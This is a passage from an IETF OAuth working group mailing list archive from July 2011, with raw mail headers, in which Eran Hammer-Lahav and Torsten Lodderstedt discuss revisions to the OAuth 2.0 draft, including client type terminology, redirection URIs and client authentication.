> >> >> special state parameter. However, t= he state parameter provides a
> >> >> better way to allow= customization of the redirection request
> >> >> alongsi= de full registration of the redirection URI. Section 3.1.2
> >>= >> recommends using the state parameter over changing the redirectio= n
> >> >> URI
> >> itself.
> >> &= gt;>
> >> >> Using state is much simpler because the a= uthorization server does
> >> >> not have to implement po= tentially insecure URI comparison
> >> >> algorithms for = dynamic redirection URIs.
> >> >
> >> > Agree= -- for instance, Google's provider doesn't allow arbitrary
> >>= ; > dynamic specification of query or fragment parameters in redirect> >> > URIs, for instance, due largely to security considerati= ons.
> >> >
> >> >>
> >> >&= gt; EHL
> >> >> _________________________________________= ______
> >> >> OAuth mailing list
> >> >&g= t; OAuth@ietf.org> >> >> https://www.ietf.org/mailman/listinfo/oauth
= > >> >
> >> >
> >> >
> >= > > --
> >> > Breno de Medeiros
> >> ><= br>> >> >
> >
_____________________________________= __________
OAuth mailing list
OAuth@ietf.org
https://www.ietf.org/mailman/listinfo/oau= th




-- ------------------------------------------------------------------
Nev= er send sensitive or private information via email unless it is encrypted. = http://www.gnupg.org=



--
-----------------------------------------------= -------------------
Never send sensitive or private information via emai= l unless it is encrypted. http://www.gnupg= .org

= --_000_90C41DD21FB7C64BB94121FBBC2E72345021F378B7P3PW5EX1MB01E_-- From eran@hueniverse.com Sun Jul 24 23:46:22 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 46EB521F85EE for ; Sun, 24 Jul 2011 23:46:22 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.549 X-Spam-Level: X-Spam-Status: No, score=-2.549 tagged_above=-999 required=5 tests=[AWL=0.050, BAYES_00=-2.599] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id biFmSivt0SfO for ; Sun, 24 Jul 2011 23:46:21 -0700 (PDT) Received: from p3plex1out02.prod.phx3.secureserver.net (p3plex1out02.prod.phx3.secureserver.net [72.167.180.18]) by ietfa.amsl.com (Postfix) with SMTP id BFFB321F85C6 for ; Sun, 24 Jul 2011 23:46:21 -0700 (PDT) Received: (qmail 9958 invoked from network); 25 Jul 2011 06:46:21 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.19) by p3plex1out02.prod.phx3.secureserver.net with SMTP; 25 Jul 2011 06:46:21 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT001.EX1.SECURESERVER.NET ([72.167.180.19]) with mapi; Sun, 24 Jul 2011 23:46:21 -0700 From: Eran Hammer-Lahav To: "eran@sled.com" , Torsten Lodderstedt , OAuth WG Date: Sun, 24 Jul 2011 23:45:44 -0700 Thread-Topic: [OAUTH-WG] Issue 15, new client registration Thread-Index: AcxHH+CszluU+50IR3y21EPDB401mwBk4/6gAHi+LUA= Message-ID: <90C41DD21FB7C64BB94121FBBC2E72345021F378B9@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <4E2740E9.5000209@lodderstedt.net> <4E274191.6020207@lodderstedt.net> <90C41DD21FB7C64BB94121FBBC2E72345021F377AA@P3PW5EX1MB01.EX1.SECURESERVER.NET> In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E72345021F377AA@P3PW5EX1MB01.EX1.SECURESERVER.NET> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Subject: Re: [OAUTH-WG] Issue 15, new client registration X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Jul 2011 06:46:22 -0000 How about confidential/open? EHL > -----Original Message----- > From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf > Of Eran Hammer-Lahav > Sent: Friday, July 22, 2011 2:12 PM > To: Torsten Lodderstedt; OAuth WG > Subject: Re: [OAUTH-WG] Issue 15, new client registration >=20 >=20 >=20 > > -----Original Message----- > > From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf > > Of Torsten Lodderstedt > > Sent: Wednesday, July 20, 2011 1:59 PM > > To: OAuth WG > > Subject: Re: [OAUTH-WG] Issue 15, new client registration > > > > 2.1 Client types > > > > I'm struggeling with the new terminology of "private" and "public" > > clients. In my perception, the text just distinguishes clients which > > can be authenticated and such which cannot. This is fine but I > > consider the wording misleading. I would suggest to change it to > > something like trusted/untrusted or authenticated/unauthenticated or > Verifiable/Forgeable. >=20 > I'm open to changing the names. >=20 > I don't like trusted/untrusted because OAuth does not define trust. The > authenticated/unauthenticated pair is also not ideal because the terms > describe the outcome, not the nature of the client. As for > verifiable/forgeable, I think these terms are too complicated for a casua= l > reader. >=20 > My intention with public/private is to identify the nature of the client > credentials. So a more verbose version would be 'public credentials/priva= te > credentials'. This also works with 'code' instead of 'credentials'. >=20 > It's clear from the past year of discussions that we need terminology to > describe these two types. >=20 > Any other suggestions? >=20 > EHL > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth From eran@hueniverse.com Mon Jul 25 00:16:08 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 7C91021F84E9 for ; Mon, 25 Jul 2011 00:16:08 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.549 X-Spam-Level: X-Spam-Status: No, score=-2.549 tagged_above=-999 required=5 tests=[AWL=0.050, BAYES_00=-2.599] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id DzTP4Tn3Hevh for ; Mon, 25 Jul 2011 00:16:08 -0700 (PDT) Received: from p3plex1out01.prod.phx3.secureserver.net (p3plex1out01.prod.phx3.secureserver.net [72.167.180.17]) by ietfa.amsl.com (Postfix) with SMTP id ED57521F84D3 for ; Mon, 25 Jul 2011 00:16:07 -0700 (PDT) Received: (qmail 11650 invoked from network); 25 Jul 2011 07:16:07 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.19) by p3plex1out01.prod.phx3.secureserver.net with SMTP; 25 Jul 2011 07:16:07 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT001.EX1.SECURESERVER.NET ([72.167.180.19]) with mapi; Mon, 25 Jul 2011 00:16:07 -0700 From: Eran Hammer-Lahav To: Torsten Lodderstedt , OAuth WG Date: Mon, 25 Jul 2011 00:15:30 -0700 Thread-Topic: [OAUTH-WG] Issue 15, new client registration Thread-Index: AcxHH+CszluU+50IR3y21EPDB401mwDdqbPQ Message-ID: <90C41DD21FB7C64BB94121FBBC2E72345021F378BB@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <4E2740E9.5000209@lodderstedt.net> <4E274191.6020207@lodderstedt.net> In-Reply-To: <4E274191.6020207@lodderstedt.net> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Subject: Re: [OAUTH-WG] Issue 15, new client registration X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Jul 2011 07:16:08 -0000 Thanks for the feedback. > -----Original Message----- > From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf > Of Torsten Lodderstedt > Sent: Wednesday, July 20, 2011 1:59 PM > 2.1 Client types >=20 > I'm struggeling with the new terminology of "private" and "public" > clients. In my perception, the text just distinguishes clients which can = be > authenticated and such which cannot. This is fine but I consider the word= ing > misleading. I would suggest to change it to something like trusted/untrus= ted > or authenticated/unauthenticated or Verifiable/Forgeable. One alternative is confidential/open or confidential/public. =20 > Moreover, I think merging the text on client types in section 10 into sec= tion > 2.1 would make sense for the following reasons: > - there is large overlap between them > - It would introduce the term "native application" before it is used for = the > first time in Section 9 Done. =20 > 2.2. Registration Requirements >=20 > Why is the redirect URI a MUST? It should be a MUST for clients using the > implicit grant and probably for "private" clients but why generally? > I would suggest to change this to RECOMMENDED. It is a qualified MUST because you follow the reference. But I'll fix it to= make it read better. > 2.4 Client Authentication >=20 > "In addition, the client and authorization server establish a client > authentication method suitable for the client type and security > requirements of the authorization server." >=20 > Does this hold true for public clients? New text: If the client type is private, the client and authorization serve= r establish a client authentication method suitable for the security requirements of t= he authorization server. The authorization server MAY accept any form of client authentica= tion meeting its security requirements. Private clients are typically issued (or establish) a set of clie= nt credentials used for authenticating with the authorization server (e.g. password, publ= ic/private key pair). The authorization server SHOULD NOT make assumptions about the cl= ient type or accept the type information provided without establishing trust with the cli= ent or its developer. The authorization server MAY establish a client authentication me= thod with public clients. However, the authorization server MUST NOT rely on publi= c client authentication for the purpose of identifying the client. > 2.4.1 Client Password >=20 > "Clients in possession of a client password MAY " Why not SHOULD? I rather never recommend Basic for anything... If the server supports DIGES= T or better forms of password authentication, I don't want this text to imp= ly Basic takes precedence. EHL From eran@hueniverse.com Mon Jul 25 00:28:48 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 5DA8321F8AF1 for ; Mon, 25 Jul 2011 00:28:48 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.55 X-Spam-Level: X-Spam-Status: No, score=-2.55 tagged_above=-999 required=5 tests=[AWL=0.049, BAYES_00=-2.599] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id E62Svf-hhskg for ; Mon, 25 Jul 2011 00:28:47 -0700 (PDT) Received: from p3plex1out01.prod.phx3.secureserver.net (p3plex1out01.prod.phx3.secureserver.net [72.167.180.17]) by ietfa.amsl.com (Postfix) with SMTP id D157221F8AF5 for ; Mon, 25 Jul 2011 00:28:47 -0700 (PDT) Received: (qmail 24801 invoked from network); 25 Jul 2011 07:28:47 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.21) by p3plex1out01.prod.phx3.secureserver.net with SMTP; 25 Jul 2011 07:28:47 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT003.EX1.SECURESERVER.NET ([72.167.180.21]) with mapi; Mon, 25 Jul 2011 00:28:46 -0700 From: Eran Hammer-Lahav To: Torsten Lodderstedt , OAuth WG Date: Mon, 25 Jul 2011 00:28:09 -0700 Thread-Topic: [OAUTH-WG] Issue 16, revised Redirection URI section (3.1.2) Thread-Index: AcxHIhqI4a2AZ1w5ROmHLIB3HUYrIADeOSzw Message-ID: <90C41DD21FB7C64BB94121FBBC2E72345021F378BC@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <4E274554.5070606@lodderstedt.net> In-Reply-To: <4E274554.5070606@lodderstedt.net> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Subject: Re: [OAUTH-WG] Issue 16, revised Redirection URI section (3.1.2) X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Jul 2011 07:28:48 -0000 > -----Original Message----- > From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf > Of Torsten Lodderstedt > Sent: Wednesday, July 20, 2011 2:15 PM > "The authorization server redirects the user-agent to the > client's redirection URI previously established with the > authorization server during the client registration process." >=20 > Conflicts with section 3.1.2.3, which allows to pass a redirect_uri via U= RI > query parameter. Added 'or when initiating the authorization request' =20 > 3.1.2.1 Endpoint Confidentiality >=20 > What does "endpoint" confidentiality mean? Which endpoint does this text > refer to? The client's redirect_uri endpoint? This is a sub-section of the Redirection URI endpoint. > 3.1.2.5. Endpoint Content >=20 > As this section discusses security aspects of the client's implementation= of > the redirect_uri page, shouldn't this go to the security considerations > section? I think it is important enough to appear earlier. It is part of my effort t= o integrate concrete normative language from the security sections up to th= e protocol sections. EHL From eran@hueniverse.com Mon Jul 25 00:30:06 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 35CAF21F8AF5 for ; Mon, 25 Jul 2011 00:30:06 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.551 X-Spam-Level: X-Spam-Status: No, score=-2.551 tagged_above=-999 required=5 tests=[AWL=0.048, BAYES_00=-2.599] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id OV+5CyFTAZk6 for ; Mon, 25 Jul 2011 00:30:05 -0700 (PDT) Received: from p3plex1out02.prod.phx3.secureserver.net (p3plex1out02.prod.phx3.secureserver.net [72.167.180.18]) by ietfa.amsl.com (Postfix) with SMTP id 9B0F521F8AF1 for ; Mon, 25 Jul 2011 00:30:05 -0700 (PDT) Received: (qmail 12525 invoked from network); 25 Jul 2011 07:30:05 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.20) by p3plex1out02.prod.phx3.secureserver.net with SMTP; 25 Jul 2011 07:30:05 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT002.EX1.SECURESERVER.NET ([72.167.180.20]) with mapi; Mon, 25 Jul 2011 00:30:05 -0700 From: Eran Hammer-Lahav To: Torsten Lodderstedt , OAuth WG Date: Mon, 25 Jul 2011 00:29:29 -0700 Thread-Topic: [OAUTH-WG] Issue 17, new token endpoint Client Authentication section (3.2.1) Thread-Index: AcxHIp1uzWbrtLefSDSuPEG7LrHRNgDefeyQ Message-ID: <90C41DD21FB7C64BB94121FBBC2E72345021F378BD@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <4E274632.8030003@lodderstedt.net> In-Reply-To: <4E274632.8030003@lodderstedt.net> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Subject: Re: [OAUTH-WG] Issue 17, new token endpoint Client Authentication section (3.2.1) X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Jul 2011 07:30:06 -0000 True. > -----Original Message----- > From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf > Of Torsten Lodderstedt > Sent: Wednesday, July 20, 2011 2:19 PM > To: OAuth WG > Subject: [OAUTH-WG] Issue 17, new token endpoint Client Authentication > section (3.2.1) >=20 > just a minor issue >=20 > "In addition, > this specification does not provide a mechanism for refresh token > rotation." >=20 > The spec provides a mechanisms. It allows for the issuance of a new refre= sh > token with every request to referesh an access token. >=20 > regards, > Torsten. > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth From eran@hueniverse.com Mon Jul 25 00:55:33 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 83D3C21F8B14 for ; Mon, 25 Jul 2011 00:55:33 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.551 X-Spam-Level: X-Spam-Status: No, score=-2.551 tagged_above=-999 required=5 tests=[AWL=0.048, BAYES_00=-2.599] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id hDlactvux3SN for ; Mon, 25 Jul 2011 00:55:32 -0700 (PDT) Received: from p3plex1out02.prod.phx3.secureserver.net (p3plex1out02.prod.phx3.secureserver.net [72.167.180.18]) by ietfa.amsl.com (Postfix) with SMTP id DDF9F21F8B12 for ; Mon, 25 Jul 2011 00:55:32 -0700 (PDT) Received: (qmail 30686 invoked from network); 25 Jul 2011 07:55:31 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.21) by p3plex1out02.prod.phx3.secureserver.net with SMTP; 25 Jul 2011 07:55:31 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT003.EX1.SECURESERVER.NET ([72.167.180.21]) with mapi; Mon, 25 Jul 2011 00:55:31 -0700 From: Eran Hammer-Lahav To: Torsten Lodderstedt , OAuth WG Date: Mon, 25 Jul 2011 00:54:54 -0700 Thread-Topic: [OAUTH-WG] Comments on -18 Thread-Index: AcxHJuadpHaNoNAeRiKW+SFrlwWyvQDdeS5w Message-ID: <90C41DD21FB7C64BB94121FBBC2E72345021F378BE@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <4E274D61.4020804@lodderstedt.net> In-Reply-To: <4E274D61.4020804@lodderstedt.net> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Subject: Re: [OAUTH-WG] Comments on -18 X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Jul 2011 07:55:33 -0000 > -----Original Message----- > From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf > Of Torsten Lodderstedt > Sent: Wednesday, July 20, 2011 2:49 PM > To: OAuth WG > Subject: [OAUTH-WG] Comments on -18 >=20 > section 1.5 >=20 > "(A) The client requests an access token by authenticating with the > authorization server, and presenting an authorization grant." >=20 > This statement does not reflect that client authentication is not always > required. >=20 > Proposal: >=20 > "The client requests an access token by presenting an authorization grant= . > The authorization server may require the client to authenticate as a pre- > requisite." The general design for fresh tokens does include authentication. Yes, the n= ormative text allows you not to, but this is the general case and I like th= e simpler text for the introduction. > section 4.1 >=20 > "(D) The client requests an access token from the authorization > server's token endpoint by including the authorization code > received in the previous step. When making the request, the > client authenticates with the authorization server." >=20 > Same as above. Proposal: >=20 > ".... When making the request, the > client may be required to authenticate with the authorization se= rver" Same. Section 4.1.3 makes this clear. =20 > "(E) The authorization server authenticates the client, validates the > authorization code, and ensures the redirection URI received > matches the URI used to redirect the client in step (C)." >=20 > Same as above. >=20 > Additionally, is the URI check also required if the client did not passed= a > redirect uri but relied on its pre-registered redirect_uri? This is the overview. Section 4.1.3 provides the specific requirements. > section 4.1.1 >=20 > "state" parameter: Would it make sense to elaborate on the usage of this > parameter and its importance for preventing CSRF attacks (incl. the > nessessary entropy)? Alternatively, a reference to the security considera= tion > section could be added. I think we got this covered. I rather not start pointing to the security se= ction from the sections above. > section 4.1.3 >=20 > "If the client type is private or was issued client credentials ..." > Isn't the later the most important property of a "private" client? If so,= "or was > issued client credentials" is redundant. All private clients must authenticate, but also public clients with issued = credentials. > section 4.4.3 >=20 > "A refresh token SHOULD NOT be included." Why not "MUST NOT"? This was debated a while back and the consensus was that there is no reason= to restrict this to a MUST NOT. Someone might even had plans to issue refr= esh tokens using this flow. > section 5.2 >=20 > "The authorization server MAY return an HTTP 401 > (Unauthorized) status code to indicate which HTTP > authentication schemes are supported." >=20 > Given the usage of HTTP authentication schemes is the way to authenticate= d > client recommended by the spec, status code 401 should be the default > status code for this kind of error. Usage of status code 400 should be th= e > exception. > > "unauthorized_client" >=20 > So above - status code 403 seems to be a more appropriate default. I think this is fine unchanged. > section 10 >=20 > "and furthermore that rotation of the client > authentication credentials is impractical." >=20 > What does this mean? I'll take it out. I don't remember who suggested it (Brian?). > Please update reference [I-D.lodderstedt-oauth-security] to [I-D.ietf-oau= th- > v2-threatmodel]. Done. > section 10.2 >=20 > last sentence: "... ensure the repeated request comes from an authentic > client and not an > impersonator." >=20 > The authorization server must ensure that the request comes from the same > client not just any authentic client. So I would propose to adjust the te= xt as > follows: >=20 > "... ensure the repeated request comes from the original client and not a= n > impersonator." Ok. > section 10.3 >=20 > "Access token (as well as any type-specific attributes) MUST ..." does "t= ype- > specific" refer to access token type specific? If so, please add this > information. Ok. > section 10.6 >=20 > Please replace the first sentence with the following text: >=20 > "Such an attack leverages the authorization code ..." That reads funny. How about 'An attacker can leverage...' EHL From internet-drafts@ietf.org Mon Jul 25 01:01:58 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 92F2D21F8B12; Mon, 25 Jul 2011 01:01:58 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -102.574 X-Spam-Level: X-Spam-Status: No, score=-102.574 tagged_above=-999 required=5 tests=[AWL=0.025, BAYES_00=-2.599, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id kMgbNKD9pH8R; Mon, 25 Jul 2011 01:01:58 -0700 (PDT) Received: from ietfa.amsl.com (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 3726121F8A64; Mon, 25 Jul 2011 01:01:58 -0700 (PDT) MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable From: internet-drafts@ietf.org To: i-d-announce@ietf.org X-Test-IDTracker: no X-IETF-IDTracker: 3.56 Message-ID: <20110725080158.1209.7342.idtracker@ietfa.amsl.com> Date: Mon, 25 Jul 2011 01:01:58 -0700 Cc: oauth@ietf.org Subject: [OAUTH-WG] I-D Action: draft-ietf-oauth-v2-19.txt X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Jul 2011 08:01:58 -0000 A New Internet-Draft is available from the on-line Internet-Drafts director= ies. This draft is a work item of the Web Authorization Protocol Working Gr= oup of the IETF. Title : The OAuth 2.0 Authorization Protocol Author(s) : Eran Hammer-Lahav David Recordon Dick Hardt Filename : draft-ietf-oauth-v2-19.txt Pages : 62 Date : 2011-07-25 The OAuth 2.0 authorization protocol enables a third-party application to obtain limited access to an HTTP service, either on behalf of a resource owner by orchestrating an approval interaction between the resource owner and the HTTP service, or by allowing the third-party application to obtain access on its own behalf. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-oauth-v2-19.txt Internet-Drafts are also available by anonymous FTP at: ftp://ftp.ietf.org/internet-drafts/ This Internet-Draft can be retrieved at: ftp://ftp.ietf.org/internet-drafts/draft-ietf-oauth-v2-19.txt From eran@hueniverse.com Mon Jul 25 01:07:15 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 7923721F8B11 for ; Mon, 25 Jul 2011 01:07:15 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.551 X-Spam-Level: X-Spam-Status: No, score=-2.551 tagged_above=-999 required=5 tests=[AWL=0.047, BAYES_00=-2.599, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id u5-NcSM37d1M for ; Mon, 25 Jul 2011 01:07:14 -0700 (PDT) Received: from p3plex1out01.prod.phx3.secureserver.net (p3plex1out01.prod.phx3.secureserver.net [72.167.180.17]) by ietfa.amsl.com (Postfix) with SMTP id C584A21F8B10 for ; Mon, 25 Jul 2011 01:07:14 -0700 (PDT) Received: (qmail 29070 invoked from network); 25 Jul 2011 08:07:14 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.19) by p3plex1out01.prod.phx3.secureserver.net with SMTP; 25 Jul 2011 08:07:14 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT001.EX1.SECURESERVER.NET ([72.167.180.19]) with mapi; Mon, 25 Jul 2011 01:07:14 -0700 From: Eran Hammer-Lahav To: OAuth WG Date: Mon, 25 Jul 2011 01:06:38 -0700 Thread-Topic: Draft -19 Thread-Index: AcxKoSoet0pnUU51RLinUDkuShpevg== Message-ID: <90C41DD21FB7C64BB94121FBBC2E72345021F378BF@P3PW5EX1MB01.EX1.SECURESERVER.NET> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: multipart/alternative; boundary="_000_90C41DD21FB7C64BB94121FBBC2E72345021F378BFP3PW5EX1MB01E_" MIME-Version: 1.0 Subject: [OAUTH-WG] Draft -19 X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Jul 2011 08:07:15 -0000 --_000_90C41DD21FB7C64BB94121FBBC2E72345021F378BFP3PW5EX1MB01E_ Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Draft 19 includes all the feedback received for -18: * Closes issues 15-19 * Moved client profiles to section 2.1 from 10 * New text for 'Code Injection and Input Validation' * A few minor editorial clarifications There are two open issues (20, 21) which are minor editorial requests, and = the request being discussed on the list to change the public/private client= type terminology to something else. I consider draft -19 to be ready for WGLC immediately. Thanks, EHL --_000_90C41DD21FB7C64BB94121FBBC2E72345021F378BFP3PW5EX1MB01E_ Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

Draft 19 include= s all the feedback received for -18:

 

* Closes issues 15-19

=

* Moved client profiles to section 2.1 from 10

* New text for ‘Code Injection and Input = Validation’

* A few minor editoria= l clarifications

 

There are two open issues (20, 21) which are minor edito= rial requests, and the request being discussed on the list to change the pu= blic/private client type terminology to something else.

 

I consider draft = -19 to be ready for WGLC immediately.

 

Thanks,

 

EHL

 

= --_000_90C41DD21FB7C64BB94121FBBC2E72345021F378BFP3PW5EX1MB01E_-- From aiden449@gmail.com Mon Jul 25 02:37:44 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 0F30D21F8B2D for ; Mon, 25 Jul 2011 02:37:44 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.137 X-Spam-Level: X-Spam-Status: No, score=-2.137 tagged_above=-999 required=5 tests=[AWL=-0.674, BAYES_00=-2.599, FRT_STRONG2=1.535, HTML_MESSAGE=0.001, J_CHICKENPOX_45=0.6, RCVD_IN_DNSWL_LOW=-1] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id ZbUet82PXJTy for ; Mon, 25 Jul 2011 02:37:42 -0700 (PDT) Received: from mail-qw0-f44.google.com (mail-qw0-f44.google.com [209.85.216.44]) by ietfa.amsl.com (Postfix) with ESMTP id A51F921F8B2C for ; Mon, 25 Jul 2011 02:37:41 -0700 (PDT) Received: by qwc23 with SMTP id 23so3041646qwc.31 for ; Mon, 25 Jul 2011 02:37:41 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=w8jSdksTr68GgxOvXNmmQMmosS2VMvKXWFNsbEnpwAg=; b=riKeB9nvkXzgB6jinhRm3gwqElEPFer4lnsJnt9AR/FAKQsnRQJAByeKEVVcLCbkmY XcVnphdSl/LVhm+5i9oSPJlHKYW1ogIGApNxilgI/02P/DccvkXfdBmQRhhtoFN7xVf3 1FhJCxCTO2imvwdZvyU32CobbjfxIJKS2hHkk= MIME-Version: 1.0 Received: by 10.229.59.68 with SMTP id k4mr3158787qch.237.1311586659771; Mon, 25 Jul 2011 02:37:39 -0700 (PDT) Received: by 10.229.14.42 with HTTP; Mon, 25 Jul 2011 02:37:39 -0700 (PDT) In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E72345021F378B7@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <4E22B021.7080009@cisco.com> <90C41DD21FB7C64BB94121FBBC2E7234501D6E0656@P3PW5EX1MB01.EX1.SECURESERVER.NET> 